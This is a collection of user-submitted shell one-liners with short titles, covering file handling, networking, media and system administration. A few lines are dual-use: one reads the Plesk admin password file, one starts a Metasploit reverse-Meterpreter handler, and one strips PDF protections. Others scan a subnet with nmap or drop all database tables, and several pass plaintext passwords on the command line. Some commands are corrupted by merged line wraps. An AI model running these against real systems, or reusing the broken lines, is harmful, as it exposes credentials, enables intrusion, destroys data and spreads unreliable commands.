gsed -e :a -e 's/\(<\/[^>]*>\)/\1\n/g;s/\(<br>\)/\1\n/g' page2.txt | sed -n '/<cite>/p;s/<cite>\(.*\)<\/cite>/\1/g' >> output
# Read the Useless Use of Cat Awards page
elinks http://partmaps.org/era/unix/award.html
# Color Highlighted Log Viewing with Tail, Fifo, and CCZE
F=~/$$.fifo;[ -p $F ] && rm $F;mkfifo $F;(( tail -n50 -s2 -f access_log error_log>$F )&);ccze -A < $F;rm $F
# Launch a Java .jar App
java -jar /path/to/filename.jar
# Replace the Caps Lock key with Control
setxkbmap -option ctrl:nocaps
# rows2columns
perl -le 'print join ", ", map { chomp; $_ } <>'
# Autofind alive hosts on subnet upon connect
dhclient wlan0 && sbnt=$(ifconfig wlan0 |grep "inet addr" |cut -d ":" -f 2 | cut -d "." -f 1-3) && nmap $sbnt.0/24 -sP
# List Seeon.tv Available Video Channels
lynx --dump http://www.seeon.tv/channels| grep "/channels"|awk '{print $2}'|sort -u|while read links; do lynx --dump "$links"|awk '/view/ {print $2}'|sort -u; done
# Current directory files and subdirectories ordered by size
du -ks * | sort -n
# Create a multi-part RAR archive
rar a -v[SIZE] [archivename] [files]
# Recursive Ownership Change
sudo chown -R user2:user2 /../../somedirectory
# Puts every word from a file into a new line
< <infile> tr ' \t' '\n' | tr -s '\n' > <outfile>
# Delete files and directories from current directory exept those specified
rm -R `ls | egrep -v 'dir1|dir2|file1'`
# Retrieve Plesk Admin Password
cat /etc/psa/.psa.shadow
# encode/decode HTML entities
xml2asc < inputfile > outputfile
# create a motion jpeg (MJPEG) with the jpg file from current directory with men
codermencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc copy -oac copy -o output.avi
# Analyse a PHP file for instantations and static calls
grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort
# Dump HTTP header using lynx or w3m
lynx -dump -head http://www.example.com/
# Provide a list of all ELF binary objects (executable or libs) in a directory
file /usr/bin/* | grep ELF | cut -d":" -f1
# Capitalize the word with dd
echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;}
# Find iPod's fwguid
lsusb -v | grep -o "[0-9A-Z]{16}"
# Send and streamming video to web
cat video.ogg | nc -l -p 4232 & wget http://users.bshellz.net/~bazza/?nombre=name -O - & sleep 10; mplayer http://users.bshellz.net/~bazza/datos/name.ogg
# PlayTweets from the command line
vlc $(curl -s http://twitter.com/statuses/user_timeline/18855500.rss|grep play|sed -ne '/<title>/s/^.*\(http.*\)<\/title/\1/gp'|awk '{print $1}')
# Show display type
ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r | strings -6
# print statistics about users' connect time
ac -d | awk '{h=int($NF); m=($NF-h)*60; s=int((m-int(m))*60); m=int(m); print $0" = "h"h "m"m "s"s "}'
# Gather libraries used and needed by a binary
for lib in `readelf -d /usr/bin/abiword | grep NEEDED | cut -f2 -d[ | cut -f1 -d]`; do [ -e /usr/lib/$lib ] && j=/usr/lib/$lib || j=`locate -l 1 $lib`; readlink -f $j ; done
# Can be used to pimp the finger output. :)
echo "World Domination" > ~/.plan; finger $USER;
# Count httpd processes
pgrep -c 'httpd|apache2'
# Check if commands are available on your system
for c in gcc bison dialog bc asdf; do if ! which $c >/dev/null; then echo Required program $c is missing ; exit 1; fi; done
# Find all python modules that use the math module
find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \;
# Recreate all initrd files
for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e 's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done
# Print free memory
free -m | awk '/Mem/ {print $4}'
# Identifying Xorg video driver in use
egrep -i " connected|card detect|primary dev" /var/log/Xorg.0.log
# Shows all virtual machines in Citrix XenServer
xe vm-list
# The program listening on port 8080 through IPv6
lsof -Pnl +M -i6 | grep 8080
# print a cpu of a process
ps -eo args,%cpu | grep -m1 PROCESS | tr 'a-z-' ' ' | awk '{print $1}'
# Find the files that contain a certain term
find /path/to/dir -type f -exec grep \-H "search term" {} \;
# Copy a virtual machine on Citrix XenServer, optionally to a different storage
repositoryxe vm-copy vm="ABCServer" sr-uuid=24565487-accf-55ed-54da54993ade784a new-name-label="Copy of ABCServer" new-name-description="New Description"
# delete all leading whitespace from each line in file
sed 's/^[ \t]*//' < <file> > <file>.out; mv <file>.out <file>
# kills all php5-fcgi processes for user per name
pkill -9 -u username php5-fcgi
# recursive permission set for xampp apache user nobody
sudo chown -R nobody:admin /Applications/XAMPP/xamppfiles/htdocs/
# Sed file spacing
sed G
# Show current folder permission from /, useful for debugging ssh key permission
awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i=1;i<l+1;i++){d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\"");last=d}}'
# Get Memeory Info
cat /proc/meminfo
# Import a virtual machine with XenServer
xe vm-import -h <host ip> -pw <yourpass> filename=./Ubuntu-9.1032bitPV.xva sr-uuid=<your SR UUID>
# change dir to n-th dir that you listed
cd $(ls -ltr|grep ^d|head -1|sed 's:.*\ ::g'|tail -1)
# Maven Install 3rd party JAR
mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId=<artifact-id> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true
# Copy your SSH public key on a remote machine for passwordless login - the easy
way$ssh-copy-id ptaduri@c3pusas1
# make directory
parallel -a <(seq 0 20) mkdir /tmp/dir1/{}
# Generate hash( of some types) from string
hashalot -s salt -x sha256 <<<"test"
# Stop your screen saver interrupting your mplayer sessions
alias mplayer='mplayer -stop-xscreensaver'
# Get just the IP for a hostname
host google.com|awk '{print $NF}'
# Start handler in metasploit to listen for reverse meterpreter connections
msfcli payload=windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 E
# Emptying a text file in one shot
ggdG
# Detect your computer's harddisk read speed without disk cache speed
cat /dev/sda | pv -r > /dev/null
# Recursively remove all '.java.orig' files (scalable)
find . -type f -iname '*.java.orig' -delete
# Removing accents in name files
IFS=?" ; for i in * ; do mv -v $i `echo $i|tr ???????????????????\ aaaeeiooAAAEEIOOOcC_` ; done
# Hunt for the newest file.
find . -printf "%T@ %p\n" | sed -e 1d | while read ts fn; do ts=${ts%.*}; if [ $ts -ge ${gts:-0} ]; then gts=$ts; echo `date -d @$gts` $fn; fi; done
# Remove ^M characters at end of lines in vi
:%s/^V^M//g
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | perl -ne 'print $1 if m/addr:((?:\d+\.){3}\d+)/'
# change current directory permissions and only sub-directories recursively (not
files)find . -type d -exec chmod XXXX {} \;
# Let's say you have a web site
for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done
# Display laptop battery information
cat /proc/acpi/battery/BAT1/info
# Fetch current song from last.fm
curl -s http://www.last.fm/user/$LASTFMUSER | grep -A 1 subjectCell | sed -e 's#<[^>]*>##g' | head -n2 | tail -n1 | sed 's/^[[:space:]]*//g'
# Clone all remote branches of a specific GitHub repository
git branch -a | grep "remotes/origin" | grep -v master | awk -F / '{print $3}' | xargs -I % git clone -b % git://github.com/jamesotron/DevWorld-2010-Cocoa-Workshop %
# Time redis ping in thousands of a second.
TIME=$( { time redis-cli PING; } 2>&1 ) ; echo $TIME | awk '{print $3}' | sed 's/0m//; s/\.//; s/s//; s/^0.[^[1-9]*//g;'
# increment a bash variable
((x++))
# Uncompress a CSS file
cat somefile.css | awk '{gsub(/{|}|;/,"&\n"); print}' >> uncompressed.css
# Monitor the Kernel Ring Buffer
watch 'dmesg | tail -15'
# find the device when you only know the mount point
df /media/mountpoint |egrep -o '^[/a-z0-9]*'
# terminal based annoy-a-tron
while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done
# futz.me - Send yourself notes from the command line
lynx "futz.me/xxx hey this is a test"
# Add a list of numbers
echo "1 2 3+p" | dc
# Restore the keyboard for qwerty users.
setxkbmap us
# Delete the \n character at the end of file
awk 'BEGIN { ARGV[ARGC++]=ARGV[ARGC-1] } NR!=FNR { if(num==0) num=NR-1; if(FNR<num) {print} else { ORS=""; print } } ' abc1.txt > abc2.txt
# turn off all services in specific runlevel
for i in $(chkconfig --list | grep "4:on" | awk {'print $1'}); do chkconfig --level 4 "$i" off; done
# search package descriptions (apt)
apt-cache search someregex
# Watch mysql processlist on a remote host
watch -n 0.5 ssh [user]@[host] mysqladmin -u [mysql_user] -p[password] processlist | tee -a /to/a/file
# password generator
genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} | tr ' ' '\n' | shuf -n$h | xargs);echo -e "${y// /}"; }
# View the newest xkcd comic.
gwenview `wget -O - http://xkcd.com/ | grep 'png' | grep '<img src="http://imgs.xkcd.com/comics/' | sed s/title=\".*//g | sed 's/.png\"/.png/g' | sed 's/<img src=\"//g'`
# Quickly switch to login window (#OSX)
/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend
# Add repository in source list without editing sources.list
add-apt-repository [REPOSITORY]
# collapse first five fields of Google Adwords export .tsv file into a single fi
eldawk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n--\n";}' LS=$'\n' 'Ad report.tsv' | column -t -s $'\t'
# for loop, counting forward for backward
for i in {1..15}; do echo $i; done
# get Hong Kong weather infomation from HK Observatory
wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | grep -v '^$'
# get Hong Kong weather infomation from HK Observatory
wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | tail -n4
# Mount a Windows share on the local network (Ubuntu) with user rights and use a
specific samba usersudo mount -t cifs -o credentials=/path/to/credenials //hostname/sharename /mount/point
# Extract all 7zip files in current directory taking filename spaces into accoun
tfind -maxdepth 1 -type f -name "*.7z" -exec 7zr e '{}' ';'
# Get the available physical ports and their information
setserial -g /dev/ttyS[0-9]* | grep -v "unknown"
# External IP address
wget http://cmyip.com -qO - | grep -Ewo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' | uniq
# Succeed or fail randomly (Schr?dinger's code)
test $((RANDOM%2)) -eq 0
# remove all CVS directories
find . -type d -name 'CVS' -exec rm -r {} \;
# Bash Alias That Plays Music from SomaFM
alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls'
# Replace DOS character ^M with newline using perl inline replace.
perl -pi -e "s/\r/\n/g" <file>
# check broken links using wget as a spider
wget --spider -o wget.log -e robots=off --wait 1 -r -p http://www.example.com
# Count the lines of source code in directory, ignoring files in generated by sv
nfind . -name '*.java' -o -name '*.xml' | grep -v '\.svn' | xargs wc -l
# Uninstall all MacPorts that are no longer active
sudo port installed | grep -v 'active\|The' | xargs sudo port uninstall
# Display file descriptors in Squid
squidclient mgr:info | grep "file desc"
# creates a bash function to remove certain lines from SSH known_hosts file
function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; }
# Save and merge tcsh history across windows and sessions
Use history -S in your .logout file
# use perl instead of sed
echo "sed -e"|perl -pe 's/sed -e/perl -pe/'
# Join lines
cat file | tr -d "\n"
# Remove all the files except abc in the directory
rm *[!teste0,teste1,teste2]
# find the device when you only know the mount point
grep -w /media/KINGSTON /proc/mounts | cut -d " " -f
# output one file per line
awk 'BEGIN{ORS=""}NR!=1&&FNR==1{print "\n"}{print}END{print "\n"}' *.txt
# plink ssh connect
plink lyu0@mysshserver -pw 123456
# Enable V4l2 Webcams
gst-launch v4l2src
# List files that DO NOT match a pattern
ls | grep -vi pattern
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
find -maxdepth 1 -mtime 0 -type f
# Select MacOSX Network Location
scselect <location>
# Install a remote RPM
sudo rpm -if "http://rpm_server/rpm_repo/this-app.rpm"
# Rename all the files in the current directory into their sha1sum
find . -maxdepth 1 -type f| xargs sha1sum | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done
# bored of listing files with ls wanna see them in file browser in gnome try thi
sgnome-open .
# Call remote web service
curl -D - -X POST -H 'Content-type: text/xml' -d @XML http://remote_server:8080/web-service/soap/WSName
# Find directories with lots of files in them
sudo find / -type f | perl -MFile::Basename -ne '$counts{dirname($_)}++; END { foreach $d (sort keys %counts) {printf("%d\t%s\n",$counts{$d},$d);} }'|sort -rn | tee /tmp/sortedfilecount.out | head
# Place the argument of the most recent command on the shell
cd !$
# Restore accents in vi & others
LANG=fr_FR@euro
# Search git repo for specified string
git grep "search for something" $(git log -g --pretty=format:%h -S"search for something")
# Send an email using the mutt email client
[email protected]; echo "Email message" | mutt -s "Email Subject" $M
# RTFM function
rtfm() { help $@ || man $@ || open "http://www.google.com/search?q=$@"; }
# Block an IP address
iptables -A INPUT -s 65.55.44.100 -j DROP
# Hunt for the newest file.
ls -trF | grep -v \/ | tail -n 1
# Quick alias for playing music.
alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'
# Get your external IP address
curl ifconfig.me/all/xml
# strip id3 v1 and v2 tags from all mp3s in current dir and below
find . -type f -iname "*.mp3" -exec id3v2 --delete-all {} \;
# Convert filenames from ISO-8859-1 to UTF-8
LANG=fr_FR.iso8859-1 find . -name '*['$'\xe9'$'\xea'$'\xeb'$'\xc9'']*'|while read f; do a="$(echo $f|iconv -f iso8859-1 -t ascii//TRANSLIT)"; echo "move $f => $a"; done
# Renaming jpg extension files at bunch
find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ; print "mv \"$name\" \"$_\"\n"'
# tail all logs opened by all java processes
sudo ls -l $(eval echo "/proc/{$(echo $(pgrep java)|sed 's/ /,/')}/fd/")|grep log|sed 's/[^/]* //g'|xargs -r tail -f
# Dump your Thunderbird Lightning todo list in CSV format
sqlite3 -csv ~/.thunderbird/*.default/calendar-data/local.sqlite "SELECT CASE WHEN priority IS NULL THEN 5 ELSE priority END AS priority, title FROM cal_todos WHERE ical_status IS NULL ORDER BY priority ASC, last_modified DESC;"
# Burn an ISO on commandline with wodim instead cdrecord
wodim foo.iso
# Create a new chrome profile and run it
p=~/.config/chromium/zed; cp -r ~/.config/chromium/Default $p && echo "chromium-browser --user-data-dir=$p" && chromium-browser --user-data-dir=$p;
# To generate the list of dates using bash shell
now=`date +"%Y/%m/%d" -d "04/02/2005"` ; end=`date +"%Y/%m/%d" -d "07/31/2005"`; while [ "$now" != "$end" ] ; do now=`date +"%Y/%m/%d" -d "$now + 1 day"`; echo "$now"; done
# truncate files without output redirection or temporary file creation
sed -i 's/`head -n 500 foo.log`//' foo.log
# Random integer number between FLOOR and RANGE
FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM; let "number %= $RANGE"; done; echo $number
# get ^DJI
getdji (){local url sedcmd;url='http://finance.yahoo.com/q?d=t&s=^DJI';sedcmd='/(DJI:.*)/,/Day.*/!d;s/^ *//g;';sedcmd="$sedcmd/Change:/s/Down / -/;/Change:/s/Up / +/;";sedcmd="$sedcmd/Open:/s//& /";lynx -dump "$url" | sed "$sedcmd"; }
# Renames all files in the current directory such that the new file contains no
space characters.find ./ $1 -name "* *" | while read a ; do mv "${a}" "${a//\ /_}" ; done
# Shutdown all VMWare ESX VMs from commandline
for vm in `/usr/bin/vmware-cmd -l`; do /usr/bin/vmware-cmd "${vm}" stop trysoft; done
# locate a command
which somecommand
# Send web page by e-mail
{ u="http://twitter.com/commandlinefu"; echo "Subject: $u"; echo "Mime-Version: 1.0"; echo -e "Content-Type: text/html; charset=utf-8\n\n"; curl $u ; } | sendmail [email protected]
# Better PS aliases
export PSOA='user,pid,time,state,command' ; function _ps { /bin/ps $@ ; } ; alias psa='_ps ax -o $PSOA'
# Remove CR LF from a text file
flip -u $FILE
# show the log of a branch since its creation
svn log . --stop-on-copy
# Countdown Clock
function countdown { case "$1" in -s) shift;; *) set $(($1 * 60));; esac; local S=" "; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; done; echo -e "$S\rBOOM!"; }
# Get the absolute path of a file
realpath -s <filename>
# list files by testing the ownership
ls -la | awk '$3 == "oracle" || $3 == "root" {print $9}'
# Find files and list them sorted by modification time
find . -type f -exec ls -tr {} +
# find unmaintained ports that are installed on your system
cd /usr/ports; grep -F "`for o in \`pkg_info -qao\` ; \ do echo "|/usr/ports/${o}|" ; done`" `make -V INDEXFILE` | \ grep -i \|[email protected]\| | cut -f 2 -d \|
# Go to begin of current command line
CTRL + a
# Day Date Time> Instead of $ or # at the terminal
export PS1='\D{%a %D %T}> '
# Remove security limitations from PDF documents using ghostscript (for Windows)
gswin32c -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts;xfonts;. -sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=OUTPUT.pdf INPUT.pdf
# Go to next dir
cd -
# creates a xkcd #936-style password
RANGE=`wc -l /usr/share/dict/words | sed 's/^\([0-9]*\) .*$/\1/'`; for i in {1..4}; do let "N = $RANDOM % $RANGE"; sed -n -e "${N}p" /usr/share/dict/words | tr -d '\n'; done; RANGE=100; let "N = $RANDOM % $RANGE"; echo $N
# share single file in LAN via netcat
while :; do cat file.txt | nc -l 80; done
# Cloning hard disks over the network:
Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/dev/sda Then on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor bandwidth usage to see progress: nload eth0 -u M
# List files that DO NOT match a pattern
printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob
# Generate an XKCD #936 style 4 word password
sort -R /usr/share/dict/british | grep -v -m4 ^\{1,10\}$ | tr [:upper:] [:lower:] | tr "\n" " " | tr -d "'s" | xargs -0 echo
# bored of listing files with ls wanna see them in file browser in gnome try thi
sxdg-open .
# create random string from /dev/urandom (or another length)
echo `cat /dev/urandom | base64 | tr -dc "[:alnum:]" | head -c64`
# Convert windows text file to linux text document
sed 's/.$//' Win-file.txt
# Show the system properties in a Sun VirtualBox server
VBoxManage list systemproperties
# What is my public IP-address?
wget --quiet -O - checkip.dyndns.org | sed -e 's/[^:]*: //' -e 's/<.*$//'
# Find most used focal lengths in a directory of photos
exiv2 *JPG | grep Focal | awk '{print $5}' | sort -n | uniq -c
# Expand shell variables in sed scripts
expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expanded_script}" your_input_file
# Tweet my ip ( see your machine ip on twitter )
STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d status=$STAT http://twitter.com/statuses/update.xml
# Verify the virtual machine status
VBoxManage showvminfo "cicciobox" --details
# bash script to zip a folder while ignoring git files and copying it to dropbox
zip -r homard homard -x homard/.git\*; cp ./homard.zip /path_to_dropbox_public_folder/homard.zip
# Get the size of all the directories in current directory (Sorted Human Readabl
e)alias duh='dulist=$(du -sh */); for i in T G M K; do printf "$dulist"|egrep "^[0-9\.]+$i" | sort -rn; done'
# Generate MD5 of string and output only the hash checksum
echo -n "String to get MD5" | md5sum | sed "s/ -//"
# Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b -exec lvextend -m 1 {} /dev/disk/<disk> \;
# List the supported OS in VirtualBox
VBoxManage list ostypes
# Start mplayer in the framebuffer
mplayer -vo fbdev $1 -fs -subcp ${2:-cp1251} -vf scale=${3:-1280:720}
# Watch end of files real time, especially log files
tail -f ~/.bash_history
# show current directory
gnome-open .
# How to create a vm in VirtualBox
VBoxManage createvm --name "vm-name" --ostype Ubuntu --register
# Remove blank lines from a file
sed -i.bak '/^[[:space:]]*$/d' file_name
# Replaces every ocurrences of 'old' for 'new' in all files specified
perl -i -pe "s/old/new/g" *
# FInd out what branches a specific commit belongs to
git branch --contains <commit sha1 id> | sed -e 's/^[ *]*//'
# Switch to windows using gpicker
wmctrl -i -a `wmctrl -l -x | gpicker -d "\n" -n "\n" - | awk '{print $1}'`
# List of syscalls (for 32/64 bits systems)
egrep '__NR_' /usr/include/asm/unistd_`getconf -a | awk '$1~/^WORD/{print $2}'`.h | sed -e 's/^#define __NR_//' | column -t
# List all users
cut -d: -f1 /etc/passwd | sort
# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} +
# A file's rpm-package details
summpkg() { rpm -qfi "$@"; }
# retrieve GMT time from websites ( generally accruate )
w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}'
# Find the package a command belongs to on rpm-based distros
whichpkg() { rpm -qf "$@"; }
# while series of video and subtitles have unmatched file names, rename subtitle
s the same as video files.for jj in `seq -f "%02.0f" 1 12`; do rr=`ls *S04E$jj*.smi`; tt=`ls *S04E$jj*.avi`; mv "$rr" "${tt%.*}.smi"; done
# Get a text on a position on the file and store in a variable
TIMEUNIT=$(awk '/timescale/{print NR}' a)
# Match a URL
cho "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i~/^(http|ftp):\/\//)print $i}}'
# Write and run a quick C program
cat | gcc -x c -o a.out - && ./a.out && rm a.out
# Recursively remove .svn directories
find -type d -name ".svn" -print0 | xargs -0 rm -rf
# encode a text to url_encoded format
groovy -e 'println URLEncoder.encode("Some text")'
# list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i
# command to display info about the core specified
schedtool 1
# Create .tar file on Mac OS X Leopard / Snow Leopard without ._* files
COPYFILE_DISABLE=true tar cvf newTarFile.tar Directory/
# Avoid using seq and pad numbers with leading zeros
for i in {001..999}; print $i
# Individually compress each file in a directory
ls | while read filename; do tar -czvf "$filename".tar.gz "$filename"; rm "$filename"; done
# Random unsigned integer
curl -s "https://www.random.org/cgi-bin/randbyte?nbytes=4" | od -DAn
# Generate padded numbers 001 002 ... 100
echo 00{1..9} 0{10..99} 100
# List by size all of the directories in a given tree.
SEARCHPATH=/var/; find $SEARCHPATH -type d -print0 | xargs -0 du -s 2> /dev/null | sort -nr | sed 's|^.*'$SEARCHPATH'|'$SEARCHPATH'|' | xargs du -sh 2> /dev/null
# Get your external IP address
html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -c21-36
# speak a chat log file while it's running
tail -f LOGFILE | awk '{system("say \"" $0 "\"");}'
# create missing md5 for all files in directory
for f in $(ls | grep -v [.md5]$); do if [ -f $f ] && [ ! -f $f".md5" ]; then echo "missing md5 for '${f}' will now create..."; md5sum $f > $f".md5"; echo "created"; fi; done;
# Load multiple sql script in mysql
cat schema.sql data.sql test_data.sql | mysql -u user --password=pass dbname
# Find artist and title of a music cd, UPC code given (first result only)
wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' ; rm foobar
# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | awk '{print $1}'
# Sum size of files returned from FIND
(echo 0; find [args...] -printf '%s +\n'; echo p) | dc
# Root Security
s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "s/$r yes/$r no/" $s.old > $s; else echo $r no >> $s;fi
# Say the current time (Mac OS X)
date "+The time is %H:%M" | say
# Get column names in MySQL
mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database> | awk '{print $1}' | tr "\n" "," | sed 's/,$//g'
# find duplicate files in a directory and choose which one to delete
fdupes DIRECTORY/ -r -d
# restart Bluetooth from terminal
sudo service bluetooth restart
# Restart nautilus
nautilus -q
# Erase empty files
find . -size 0 -print0 | xargs -0 rm
# manually set system date/time
date MMDDhhmmYYYY
# Encrypted Tarballs
tar -cf - folder/ | gpg -c > folder.tpg
# Get your external IP address
fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}'
# Autodetect screens and extend workspace to the left
disper --displays=auto -e -t left
# Get your external IP address
wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g'
# Find out who change what files in a SVN repository
svn log -v | less
# Batch file suffix renaming
for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done
# backup file. (for bash)
cp -p file-you-want-backup{,_`date +%Y%m%d`} # for bash
# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort | uniq -d | parallel find -type f -size {}c | parallel md5sum | sort | uniq -w32 --all-repeated=separate
# Leap year calculation
year=2010; math=`echo "$year%4" | bc`; [ ! -z $year ] && [ $math -eq 0 ] && echo "$year is leap year!" || echo "$year isn't leap year";
# Get the amount of currently registered users from i18n.counter.li.org.
wget -qO - http://i18n.counter.li.org/ | grep 'users registered' | sed 's/.*\<font size=7\>//g' | tr '\>' ' ' | sed 's/<br.*//g' | tr ' ' '\0'
# Command line calculator
alias calc='python -ic "from math import *; from random import *"'
# Show who are logging in and what their current commands
w
# easily find megabyte eating files or directories
du -kd | egrep -v "/.*/" | sort -n
# find the device when you only know the mount point
mount | grep "mount point"
# Batch file suffix renaming
mmv "*-*.mp3" "#1.mp3"
# Generate an XKCD #936 style 4 word password
awk 'BEGIN {srand} /^[a-z]{4,8}$/ {w[i++]=$0} END {while (j++<4) print w[int(rand*i)]}' /usr/share/dict/words
# Add together the count of users from the international Linux Counter and the d
udalibre.com counter.Check the Description below.
# encrypt file.txt using a symmetric password
gpg -c file.txt
# vim insert at beginning of multiple lines
:%s!^!foo!
# Update twitter via curl as Function
tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }
# generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10
# Get a file from SharePoint with cURL
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file
# Empty a file
truncate foobar.txt
# Slideshow of images in the current folder
feh -d -F -z -D 1 *
# Command line calculator
calc() { echo "scale=4; ${*//,/.}" | bc -l; }
# hello, world
perl -e "''=~('(?{'.('-^@.]|(;,@/{}/),[\\\$['^'],)@)[\`^@,@[*@[@?}.|').'})')"
# Nofity Message in Ubuntu
notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop notification commandlinefu."
# forbid deletion of files for everyone
find . -maxdepth 1 -type f -exec chmod +a "everyone deny delete" {} \;
# Log output from a cronjob to a file, but also e-mail if a string is found
some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR
# Find the median file modification time of files in a directory tree
date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F
# Remove VIM temp files
find ./ -name '*.sw[op]' -delete
# Get acurate memory usage of a Process in MegaBytes
pmap $(pgrep [ProcessName] -n) | gawk '/total/ { a=strtonum($2); b=int(a/1024); printf b};'
# copy ssh id to remote host
ssh-copy-id -i .ssh/id_rsa.pub username:[email protected]
# List nearbies
/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d
# search for a pattern (regex) in all text files (ignoring binary files) in a di
rectory treefind . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"
# AWK: Set Field Separator from command line
awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt
# Replace duplicate files by hardlinks
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done
# print info about compiled Scala class
scalac quicksort.scala && javap QuickSort
# Show stats for dd
dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done"
# Display file contents either with less or cat based on number of lines
out() { tmp=$(mktemp); awk '{print $0}' > $tmp; if [ $(wc -l $tmp | awk '{print $1}') -gt $(tput lines) ]; then less $tmp; else cat $tmp; fi; rm -fr $tmp; }
# quickly show me interesting data about my processes
alias mine='ps xco pid,command,%cpu,%mem,state'
# change newlines to spaces (or commas or whatever). Acts as a filter or can hav
e c/l argsalias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "
# Delete all but latest file in a directory
ls -t1 | sed 1d | parallel -X rm
# get newest file in current directory
ls -lart
# Are 64-bit applications supported on my Solaris OS?
isainfo -vb
# Find and print pattern location from all files on command line from directory
and its sub directories.find . -exec grep $foo {} \; -print
# Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }
# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//'
# Get EXIF data from image with zenity
ans=$(zenity --title "Choose image:" --file-selection); exiftool -s ${ans} | zenity --width 800 --height 600 --text-info;
# bookmarklet for commandlinefu.com search
echo "javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURIComponent('%s')+'/'+btoa('%s')+'/sort-by-votes'"
# transform several lines in one with Awk
awk ' { printf ("%s ", $0)} END {printf ("\n") } ' FILE
# monitor when target host will be up
while true; do date; ssh <YOUR HOST HERE> "echo" && echo "HOST UP" && break; sleep 60; done
# command line to drop all table from a databse
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "drop table " $1 ";"}' | mysql -u uname dbname
